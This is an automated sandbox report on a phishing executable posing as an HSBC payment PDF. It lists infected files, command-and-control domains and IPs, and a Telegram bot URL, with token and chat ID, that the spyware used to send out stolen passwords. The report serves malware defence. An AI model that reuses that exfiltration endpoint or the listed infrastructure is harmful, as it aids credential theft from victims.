C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
ww99.przvgke.biz	15%	Virustotal		Browse
ww12.przvgke.biz	16%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://82.112.184.197/dtxqcr	0%	Avira URL Cloud	safe
http://18.141.10.107/4	0%	Avira URL Cloud	safe
http://ww12.przvgke.biz/d	100%	Avira URL Cloud	malware
http://172.234.222.138/C	0%	Avira URL Cloud	safe
http://ww99.przvgke.biz/	100%	Avira URL Cloud	malware
http://ww99.przvgke.biz/iwsxa	100%	Avira URL Cloud	malware
http://ww12.przvgke.biz/T	100%	Avira URL Cloud	malware
http://54.244.188.177/yfypviummaqwyuq	0%	Avira URL Cloud	safe
http://ww12.przvgke.biz/iwsxa?usid=25&utid=8132645662ww99.przvgke.bizc	100%	Avira URL Cloud	malware
http://ww99.przvgke.biz/7Ycs	100%	Avira URL Cloud	malware
http://54.244.188.177:80/yfypviummaqwyuq	0%	Avira URL Cloud	safe
http://44.221.84.105/gjuvotllw	0%	Avira URL Cloud	safe
http://18.141.10.107/feiwbqpqckjc	0%	Avira URL Cloud	safe
https://api.telegram	0%	Avira URL Cloud	safe
http://ww12.przvgke.biz/iwsxa?usid=25&utid=8132645662	100%	Avira URL Cloud	malware
http://schemas.micrXX	0%	Avira URL Cloud	safe
http://ww12.przvgke.biz/L	100%	Avira URL Cloud	malware
http://ww12.przvgke.biz/snsobwmcccpnrm?usid=25&utid=8132647334	100%	Avira URL Cloud	malware
http://ww12.przvgke.biz/?ts=fENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTZ8fHx8fHw2NzU5NGNhZTNm	100%	Avira URL Cloud	malware
http://82.112.184.197/U	0%	Avira URL Cloud	safe
http://82.112.184.197/dtxqcr	7%	Virustotal		Browse
http://54.244.188.177/ihnlsqbtrmkahnv	0%	Avira URL Cloud	safe
http://18.141.10.107/jji	0%	Avira URL Cloud	safe
http://172.234.222.138/J	0%	Avira URL Cloud	safe
http://ww99.przvgke.biz/	15%	Virustotal		Browse
http://18.141.10.107/b	0%	Avira URL Cloud	safe
http://44.221.84.105/b	0%	Avira URL Cloud	safe
http://82.112.184.197/kdexhblwxghmjgif	0%	Avira URL Cloud	safe
http://172.234.222.138/snsobwmcccpnrm	0%	Avira URL Cloud	safe
http://172.234.222.138/U	0%	Avira URL Cloud	safe
http://82.112.184.197/kdexhblwxghmj	0%	Avira URL Cloud	safe
http://127.0.0.1:13556/HttpLogWriterEndpointInsiderSlabBehaviorInsiderSlabBehaviorReportedStateInsid	0%	Avira URL Cloud	safe
http://ww12.przvgke.biz/	100%	Avira URL Cloud	malware
http://ww12.przvgke.biz/?ts=fENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTd8fHx8fHw2NzU5NGNiMGMw	100%	Avira URL Cloud	malware
http://ww99.przvgke.biz/snsobwmcccpnrm	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
przvgke.biz	172.234.222.138	true	false		high
ssbzmoy.biz	18.141.10.107	true	false		high
knjghuig.biz	18.141.10.107	true	false		high
vjaxhpbji.biz	82.112.184.197	true	false		high
pywolwnvd.biz	54.244.188.177	true	false		high
reallyfreegeoip.org	172.67.177.134	true	false		high
ifsaia.biz	13.251.16.150	true	false		high
checkip.dyndns.com	193.122.6.168	true	false		high
cvgrf.biz	54.244.188.177	true	false		high
ww99.przvgke.biz	72.52.179.174	true	false	15%, Virustotal, Browse	unknown
lpuegx.biz	82.112.184.197	true	false		high
saytjshyf.biz	44.221.84.105	true	false		high
084725.parkingcrew.net	13.248.148.254	true	false		high
xlfhhhm.biz	47.129.31.212	true	false		high
fwiwk.biz	172.234.222.143	true	false		high
vcddkls.biz	18.141.10.107	true	false		high
npukfztj.biz	44.221.84.105	true	false		high
api.telegram.org	149.154.167.220	true	false		high
zlenh.biz	unknown	unknown	false		high
checkip.dyndns.org	unknown	unknown	false		high
uhxqin.biz	unknown	unknown	false		high
ww12.przvgke.biz	unknown	unknown	true	16%, Virustotal, Browse	unknown
anpmnmxo.biz	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Reputation
https://api.telegram.org/bot7471415635:AAEA2wRbrQkd9OwoRD_hL1tDceuiErS34CY/sendDocument?chat_id=1613755033&caption=user%20/%20Passwords%20/%208.46.123.175	false	high
http://vjaxhpbji.biz/cfsmnhjm	false	high
http://ifsaia.biz/pn	false	high
http://saytjshyf.biz/eglmpsrvxnyx	false	high
http://npukfztj.biz/gjuvotllw	false	high
http://xlfhhhm.biz/vtfq	false	high
http://vcddkls.biz/lqpvpf	false	high
http://checkip.dyndns.org/	false	high
http://vjaxhpbji.biz/o	false	high
http://cvgrf.biz/yfypviummaqwyuq	false	high
http://lpuegx.biz/dtxqcr	false	high
http://ssbzmoy.biz/jji	false	high
https://reallyfreegeoip.org/xml/8.46.123.175	false	high
http://pywolwnvd.biz/taohikdratudiqxk	false	high
http://pywolwnvd.biz/ihnlsqbtrmkahnv	false	high
http://knjghuig.biz/feiwbqpqckjc	false	high
http://przvgke.biz/iwsxa	false	high
http://ssbzmoy.biz/xxitmchctwqm	false	high
http://przvgke.biz/snsobwmcccpnrm	false	high
http://lpuegx.biz/kdexhblwxghmj	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ww99.przvgke.biz/	armsvc.exe, 00000002.00000003.2290002010.000000000098F000.00000004.00000020.00020000.00000000.sdmp	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://api.telegram.org	RegSvcs.exe, 00000011.00000002.3380159600.000000000347B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000011.00000002.3380159600.000000000337F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	RegSvcs.exe, 00000011.00000002.3380159600.000000000347B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000011.00000002.3380159600.000000000337F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7471415635:AAEA2wRbrQkd9OwoRD_hL1tDceuiErS34CY/sendDocument?chat_id=1613	RegSvcs.exe, 00000011.00000002.3380159600.000000000337F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881	armsvc.exe, 00000002.00000003.2776258063.00000000007C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ww12.przvgke.biz/d	armsvc.exe, 00000002.00000003.2290002010.000000000098F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://18.141.10.107/4	armsvc.exe, 00000002.00000003.2329946680.0000000000974000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://172.234.222.138/C	armsvc.exe, 00000002.00000003.2288760056.0000000000974000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://18.141.10.107/	armsvc.exe, 00000002.00000003.2148425780.0000000000974000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2329946680.0000000000974000.00000004.00000020.00020000.00000000.sdmp	false		high
http://82.112.184.197/dtxqcr	armsvc.exe, 00000002.00000003.2555995836.000000000098F000.00000004.00000020.00020000.00000000.sdmp	false	7%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html	officesvcmgr.exe.2.dr	false		high
http://ww99.przvgke.biz/iwsxa	armsvc.exe, 00000002.00000003.2331664553.000000000099F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2290002010.000000000098F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2689707776.00000000009A3000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2555537491.000000000099F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2331182641.000000000098F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ww12.przvgke.biz/T	armsvc.exe, 00000002.00000003.2331664553.000000000099F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2290002010.000000000098F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2331182641.000000000098F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ffDilithium2Dilith	msedge_proxy.exe.2.dr	false		high
http://54.244.188.177/yfypviummaqwyuq	armsvc.exe, 00000002.00000003.2169195097.0000000000974000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ww12.przvgke.biz/iwsxa?usid=25&utid=8132645662ww99.przvgke.bizc	armsvc.exe, 00000002.00000003.2288760056.0000000000982000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2290002010.0000000000984000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ww99.przvgke.biz/7Ycs	armsvc.exe, 00000002.00000003.2690542196.0000000000974000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2288760056.0000000000974000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2555725636.0000000000974000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2329946680.0000000000974000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://54.244.188.177:80/yfypviummaqwyuq	armsvc.exe, 00000002.00000003.2169195097.0000000000989000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://18.141.10.107/feiwbqpqckjc	armsvc.exe, 00000002.00000003.2329946680.0000000000974000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/q	RegSvcs.exe, 00000011.00000002.3338405764.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		high
http://44.221.84.105/gjuvotllw	armsvc.exe, 00000002.00000003.2187355202.000000000098F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram	RegSvcs.exe, 00000011.00000002.3380159600.000000000347B000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://ww12.przvgke.biz/iwsxa?usid=25&utid=8132645662	armsvc.exe, 00000002.00000003.2331664553.000000000099F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2290002010.000000000098F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2288760056.0000000000982000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2290002010.0000000000984000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2787409878.00000000009A5000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2786700530.00000000009A3000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2690104496.00000000009A6000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2689707776.00000000009A3000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2555537491.000000000099F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2331182641.000000000098F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://schemas.micrXX	AppVClient.exe, 00000007.00000003.2109262975.00000000004DD000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000007.00000003.2109012837.00000000004D6000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000007.00000003.2109493299.00000000004E5000.00000004.00000020.00020000.00000000.sdmp, AppVClient.exe, 00000007.00000002.2110084231.00000000004F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ww12.przvgke.biz/L	armsvc.exe, 00000002.00000003.2290002010.000000000098F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.openssl.org/support/faq.htmlerror	officesvcmgr.exe.2.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000011.00000002.3380159600.0000000003321000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clients.config.office.net/manage/v1.0/serviceabilitymanager/MsaDeviceTokenMsaLastUpdatedMsaE	officesvcmgr.exe.2.dr	false		high
http://54.244.188.177/	armsvc.exe, 00000002.00000003.2169195097.0000000000974000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2121242786.0000000000974000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2187672356.0000000000974000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ww12.przvgke.biz/snsobwmcccpnrm?usid=25&utid=8132647334	armsvc.exe, 00000002.00000003.2331664553.000000000099F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2290002010.000000000098F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2787409878.00000000009A5000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2786700530.00000000009A3000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2690104496.00000000009A6000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2689707776.00000000009A3000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2555537491.000000000099F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2331182641.000000000098F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ww12.przvgke.biz/?ts=fENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTZ8fHx8fHw2NzU5NGNhZTNm	armsvc.exe, 00000002.00000003.2256408512.0000000002350000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://82.112.184.197/U	armsvc.exe, 00000002.00000003.2690542196.0000000000974000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/	RegSvcs.exe, 00000011.00000002.3380159600.0000000003351000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000011.00000002.3338405764.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		high
https://crash-reports.mozilla.com/submit?id=	armsvc.exe, 00000002.00000003.2776140964.00000000007C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://54.244.188.177/ihnlsqbtrmkahnv	armsvc.exe, 00000002.00000003.2121150907.0000000000984000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2121242786.0000000000974000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pywolwnvd.biz/	armsvc.exe, 00000002.00000003.2148708963.000000000098F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2149018044.0000000000998000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2121150907.000000000098F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881118.0.1	armsvc.exe, 00000002.00000003.2776258063.00000000007C0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	RegSvcs.exe, 00000011.00000002.3380159600.000000000347B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://18.141.10.107/jji	armsvc.exe, 00000002.00000003.2148425780.0000000000974000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/	Aut2exe_x64.exe.2.dr	false		high
https://pcnatrk.net/track.	armsvc.exe, 00000002.00000003.2279896639.0000000002390000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2256408512.0000000002350000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.123.175=4	RegSvcs.exe, 00000011.00000002.3380159600.0000000003351000.00000004.00000800.00020000.00000000.sdmp	false		high
http://172.234.222.138/J	armsvc.exe, 00000002.00000003.2288760056.0000000000974000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://18.141.10.107/b	armsvc.exe, 00000002.00000003.2329946680.0000000000974000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://44.221.84.105/b	armsvc.exe, 00000002.00000003.2187672356.0000000000974000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://82.112.184.197/kdexhblwxghmjgif	armsvc.exe, 00000002.00000003.2690104496.00000000009A6000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2689707776.00000000009A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://172.234.222.138/snsobwmcccpnrm	armsvc.exe, 00000002.00000003.2288760056.0000000000974000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org	RegSvcs.exe, 00000011.00000002.3380159600.0000000003351000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.winimage.com/zLibDll	armsvc.exe, 00000002.00000003.2360231003.0000000002180000.00000004.00001000.00020000.00000000.sdmp	false		high
http://172.234.222.138/U	armsvc.exe, 00000002.00000003.2288760056.0000000000974000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://82.112.184.197/kdexhblwxghmj	armsvc.exe, 00000002.00000003.2690542196.0000000000974000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.telegram.org	RegSvcs.exe, 00000011.00000002.3380159600.000000000347B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://127.0.0.1:13556/HttpLogWriterEndpointInsiderSlabBehaviorInsiderSlabBehaviorReportedStateInsid	officesvcmgr.exe.2.dr	false	Avira URL Cloud: safe	unknown
http://ww12.przvgke.biz/	armsvc.exe, 00000002.00000003.2290002010.000000000098F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ww12.przvgke.biz/?ts=fENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQwMTd8fHx8fHw2NzU5NGNiMGMw	armsvc.exe, 00000002.00000003.2279896639.0000000002390000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ww99.przvgke.biz/snsobwmcccpnrm	armsvc.exe, 00000002.00000003.2331664553.000000000099F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2290002010.000000000098F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2329946680.000000000096D000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2689707776.00000000009A3000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2555537491.000000000099F000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2288760056.000000000096C000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2331182641.000000000098F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://api.telegram.org/bot-/sendDocument?chat_id=	RegSvcs.exe, 00000011.00000002.3338405764.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		high
https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ff	msedge_proxy.exe.2.dr	false		high
https://parking3.parklogic.com/page/enhance.js?pcId=12&domain=przvgke.biz	armsvc.exe, 00000002.00000003.2279896639.0000000002390000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2256408512.0000000002350000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2279735972.0000000002140000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2288760056.000000000096C000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2256234355.0000000002100000.00000004.00001000.00020000.00000000.sdmp	false		high
http://82.112.184.197/	armsvc.exe, 00000002.00000003.2690542196.0000000000974000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2555725636.0000000000974000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2690542196.0000000000982000.00000004.00000020.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.2787944261.0000000000984000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.248.148.254	084725.parkingcrew.net	United States	16509	AMAZON-02US	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
44.221.84.105	saytjshyf.biz	United States	14618	AMAZON-AESUS	false
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
54.244.188.177	pywolwnvd.biz	United States	16509	AMAZON-02US	false
72.52.179.174	ww99.przvgke.biz	United States	32244	LIQUIDWEBUS	false
13.251.16.150	ifsaia.biz	United States	16509	AMAZON-02US	false
47.129.31.212	xlfhhhm.biz	Canada	34533	ESAMARA-ASRU	false
172.234.222.138	przvgke.biz	United States	20940	AKAMAI-ASN1EU	false
82.112.184.197	vjaxhpbji.biz	Russian Federation	43267	FIRST_LINE-SP_FOR_B2B_CUSTOMERSUPSTREAMSRU	false
18.141.10.107	ssbzmoy.biz	United States	16509	AMAZON-02US	false
172.67.177.134	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1572924
Start date and time:	2024-12-11 09:25:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	3
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.winEXE@20/155@22/12
EGA Information:	Successful, ratio: 88.9%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): SearchFilterHost.exe, dllhost.exe, DiagnosticsHub.StandardCollector.Service.exe, SearchProtocolHost.exe, WMIADAP.exe, SIHClient.exe, VSSVC.exe, WmiApSrv.exe, SearchIndexer.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 172.202.163.200
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
